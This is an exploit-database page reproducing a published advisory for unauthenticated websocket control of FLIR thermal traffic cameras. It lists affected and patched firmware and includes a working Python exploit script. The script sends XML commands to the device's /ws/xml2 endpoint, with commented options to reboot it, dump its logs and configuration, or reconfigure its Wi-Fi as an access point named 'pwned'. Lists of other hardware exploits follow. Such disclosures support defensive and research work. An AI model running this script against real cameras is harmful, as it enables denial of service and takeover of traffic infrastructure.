Search for hundreds of thousands of exploits

"FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

hardware

Release date

Exploit published date

2018-10-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
# Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure
# Author: Gjoko 'LiquidWorm' Krstic
# Date: 2018-10-06
# Vendor: FLIR Systems, Inc.
# Link: https://www.flir.com
# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455)
# Affected firmware version: V1.01-0bb5b27 (TrafiOne)     Codename: TrafiOne
#                            E1.00.09      (TI BPL2 EDGE) Codename: TIIP4EDGE
#                            V1.02.P01     (TI x-stream)  Codename: TIIP2
#                            V1.05.P01     (ThermiCam)    Codename: ThermiCam
#                            V1.04.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.04         (ThermiCam)    Codename: ThermiCam
#                            V1.01.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.05.P03     (TrafiSense)   Codename: TrafiSense
#                            V1.06         (VIP-IP)       Codename: VIP-IP
#                            V1.02.P02     (TrafiRadar)   Codename: TrafiRadar
#
# Vendor patched firmware version:
#
# Product name                Firmware      Released 
# ----------------------------------------------------
# ThermiCam / TrafiSense      E1.06.03      17.09.2018
# TI BPL2 EDGE                V1.00         17.09.2018
# TI x-stream                 E1.03.02      17.09.2018
# TrafiOne                    E1.02.02      17.09.2018
# ----------------------------------------------------
#
# Advisory ID: ZSL-2018-5490
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5490.php
# Vendor firmware updates: https://www.flir.com/security/best-practices-for-cybersecurity/
# Vendor cyber hardening guide: https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf

# Desc: FLIR thermal traffic cameras suffer from an unauthenticated device manipulation
# vulnerability utilizing the websocket protocol. The affected FLIR Intelligent
# Transportation Systems - ITS models use an insecure implementation of websocket
# communication used for administering the device. Authentication and authorization
# bypass via referencing a direct object allows an attacker to directly modify running
# configurations, disclose information or initiate a denial of service (DoS) scenario
# with Reboot command. The devices do not support the usage of TLS 'wss://' prefix for
# WebSocket Secure connection making the network traffic disclosed in plain-text to
# MitM evil-doers. Also, the web service has an Origin validation security issue and
# is vulnerable to Cross-Site WebSocket Hijacking (CSWSH).
#
# ---
# Request:
#
# GET ws://192.168.1.1:13042/ws/xml2 HTTP/1.1
# Host: 192.168.1.1:13042
# Connection: Upgrade
# Pragma: no-cache
# Cache-Control: no-cache
# User-Agent: Bond/00.7
# Upgrade: websocket
# Origin: zeroscience.mk:1337
# Sec-WebSocket-Version: 13
# Accept-Encoding: gzip, deflate
# Accept-Language: en-US,en;q=0.9
# Cookie: tmhDynamicLocale.locale=%22en%22
# Sec-WebSocket-Key: A5SH9PRtc3rYF49kKO4vmw==
# Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
#
# Response:
#
# HTTP/1.1 101 Switching Protocols
# Server: nginx/1.10.2
# Date: Mon, 13 Aug 2018 02:48:46 GMT
# Content-Length: 0
# Connection: upgrade
# Upgrade: WebSocket
# Sec-WebSocket-Accept: QyXaTdjpCsAyxhVnVqjMg95jepk=
#
# ---
# No HTTP/1.1 401 Unauthorized response observed.
#

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from websocket import create_connection as t00t
import time
import sys

endpoint = "/ws/xml2"

if (len(sys.argv) <= 2):
    print '[*] Usage: exploit.py <ipaddress> <port>'
    exit(0)

host = sys.argv[1]
port = sys.argv[2]

# Supported message types:
'''
<Message Type="SupportedMessages">
<Body>
	<Message Type="GetMessageConstraints"/>
	<Message Type="GetSupportedMessages"/>
	<Message Type="Session"/>
	<Message Type="Subscription"/>
	<Message Type="ClearData"/>
	<Message Type="GetConnectionInformation"/>
	<Message Type="GetData"/>
	<Message Type="GetEvents"/>
	<Message Type="GetLostData"/>
	<Message Type="GetManagedBy"/>
	<Message Type="GetPresenceData"/>
	<Message Type="GetPresenceLevel"/>
	<Message Type="GetPresenceLevelHistory"/>
	<Message Type="GetStorageLimits"/>
	<Message Type="SetConnectionSettings"/>
	<Message Type="SetManagedBy"/>
	<Message Type="ClearBootCount"/>
	<Message Type="ClearHistogram"/>
	<Message Type="ClearStoredCounter"/>
	<Message Type="ClearSystemLogs"/>
	<Message Type="CreateAviSequence"/>
	<Message Type="DoBadStuff"/> <-- ;]]
	<Message Type="ForceEvent"/>
	<Message Type="ForceKeyframe"/>
	<Message Type="GetBootCount"/>
	<Message Type="GetBplSettings"/>
	<Message Type="GetCameraConfiguration"/>
	<Message Type="GetCameraDefinitions"/>
	<Message Type="GetCameraSettings"/>
	<Message Type="GetConfiguration"/>
	<Message Type="GetConstraints"/>
	<Message Type="GetCpuStatistics"/>
	<Message Type="GetDateTime"/>
	<Message Type="GetDisplayOverlay"/>
	<Message Type="GetEventLog"/>
	<Message Type="GetEventsDescription"/>
	<Message Type="GetFrameFlow"/>
	<Message Type="GetHardwareInformation"/>
	<Message Type="GetHardwareSensors"/>
	<Message Type="GetHistogram"/>
	<Message Type="GetImage"/>
	<Message Type="GetImageSharpness"/>
	<Message Type="GetLeptonSettings"/>
	<Message Type="GetLoggingActivation"/>
	<Message Type="GetMemoryStatistics"/>
	<Message Type="GetNumberOfOutputs"/>
	<Message Type="GetOpenEvents"/>
	<Message Type="GetOutputsState"/>
	<Message Type="GetPermissions"/>
	<Message Type="GetProductInformation"/>
	<Message Type="GetSocketInformation"/>
	<Message Type="GetState"/>
	<Message Type="GetStoredCounter"/>
	<Message Type="GetSystemLogs"/>
	<Message Type="GetTemperature"/>
	<Message Type="GetThermalQualityHistogram"/>
	<Message Type="GetThermalQualityReferenceImage"/>
	<Message Type="GetThreadInformation"/>
	<Message Type="GetTime"/>
	<Message Type="GetTranslations"/>
	<Message Type="GetUpTime"/>
	<Message Type="GetVersion"/>
	<Message Type="GetVoltage"/>
	<Message Type="GetWifiInformation"/>
	<Message Type="KeepAlive"/>
	<Message Type="Notify"/>
	<Message Type="PauseDetectionFramework"/>
	<Message Type="Reboot"/>
	<Message Type="SetBplSettings"/>
	<Message Type="SetCameraConfiguration"/>
	<Message Type="SetCameraSettings"/>
	<Message Type="SetConfiguration"/>
	<Message Type="SetConstraintsFilter"/>
	<Message Type="SetDateTime"/>
	<Message Type="SetDisplayOverlay"/>
	<Message Type="SetHardwareInformation"/>
	<Message Type="SetLeptonSettings"/>
	<Message Type="SetLoggingActivation"/>
	<Message Type="SetTime"/>
	<Message Type="SetWifiInformation"/>
	<Message Type="UpdateFrameFlow"/>
</Body>
</Message>
'''

socket = t00t("ws://"+host+":"+port+endpoint)

#print 'Sending Reboot message type (DoS)...'
#msg = '<Message Type=\"Reboot\"></Message>'
#print 'Getting supported messages...'
#msg = '<Message Type=\"GetSupportedMessages\"></Message>'
#print 'Getting system logs...'
#msg = '<Message Type=\"GetSystemLogs\"></Message>'
#print 'Getting device configuration...'
#msg = '<Message Type=\"GetConfiguration\"></Message>'
#print 'Setting new Wifi information...'
#msg ='''
#<Message Type="SetWifiInformation">
#    <Body Present="0" SSID="pwned" Channel="11" Hidden="0" Mode="AccessPoint" />
#</Message>
#'''

msg = '<Message Type=\"GetProductInformation\"></Message>'

socket.send(msg)
print 'Message sent.'
print 'Receiving...'
time.sleep(2)
priem =  socket.recv()
print 'Received data: \n%s' % priem
socket.close()
Release DateTitleTypePlatformAuthor
2020-07-08"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-07-08"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)"webappshardware"William Summerhill"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre Γ–VÜNΓ‡"
2020-06-15"Netgear R7000 Router - Remote Code Execution"webappshardwaregrimm-co
2020-06-08"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"webappshardware"Hakan Eren ŞAN"
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"AirControl 1.4.2 - PreAuth Remote Code Execution"webappshardware0xd0ff9
2020-06-04"D-Link DIR-615 T1 20.10 - CAPTCHA Bypass"webappshardware"huzaifa hussain"
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
Release DateTitleTypePlatformAuthor
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
2020-06-04"Cayin Digital Signage System xPost 2.5 - Remote Command Injection"webappsmultipleLiquidWorm
2020-06-04"Cayin Content Management Server 11.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"Cayin Signage Media Player 3.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-05-08"Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)"doshardwareLiquidWorm
2020-04-24"Furukawa Electric ConsciusMAP 2.8.1 - Remote Code Execution"webappsjavaLiquidWorm
2020-04-21"P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)"webappshardwareLiquidWorm
2019-12-30"WEMS BEMS 21.3.1 - Undocumented Backdoor Account"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Authentication Bypass"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)"webappsphpLiquidWorm
2019-12-30"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Remote Code Execution"webappsphpLiquidWorm
2019-12-30"Thrive Smart Home 1.1 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Credential Disclosure"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials"localhardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution"webappshardwareLiquidWorm
2019-12-02"SmartHouse Webapp 6.5.33 - Cross-Site Request Forgery"webappsphpLiquidWorm
2019-11-14"Siemens Desigo PX 6.00 - Denial of Service (PoC)"doshardwareLiquidWorm
2019-11-13"Linear eMerge E3 1.00-06 - Remote Code Execution"webappshardwareLiquidWorm
2019-11-12"CBAS-Web 19.0.0 - Information Disclosure"remotehardwareLiquidWorm
2019-11-12"FlexAir Access Control 2.4.9api3 - Remote Code Execution"webappshardwareLiquidWorm
2019-11-12"eMerge E3 1.00-06 - Arbitrary File Upload"webappshardwareLiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/45539/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.